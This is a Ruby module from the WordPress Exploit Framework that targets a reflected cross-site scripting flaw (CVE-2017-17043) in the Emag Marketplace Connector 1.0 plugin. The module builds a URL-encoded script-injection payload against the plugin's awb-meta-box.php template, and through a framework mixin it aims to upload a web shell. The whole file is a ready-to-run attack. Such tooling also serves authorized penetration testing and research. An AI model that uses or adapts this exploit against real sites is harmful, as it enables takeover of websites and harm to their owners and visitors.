# frozen_string_literal: true

class Wpxf::Exploit::EmagMarketplaceConnectorXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss

  def initialize
    super

    update_info(
      name: 'Emag Marketplace Connector 1.0 Reflected XSS Shell Upload',
      author: [
        'Ricardo Sanchez', # Dislosure
        'rastating'        # WPXF module
      ],
      references: [
        ['CVE', '2017-17043'],
        ['WPVDB', '8964']
      ],
      date: 'Nov 21 2017'
    )
  end

  def check
    check_plugin_version_from_readme('emag-marketplace-connector', '1.1')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_plugins, 'emag-marketplace-connector', 'templates', 'order', 'awb-meta-box.php')
  end

  def xss_payload
    url_encode("\"><script>#{xss_ascii_encoded_include_script}</script><!--")
  end

  def url_with_xss
    "#{vulnerable_url}?post=#{xss_payload}"
  end
end
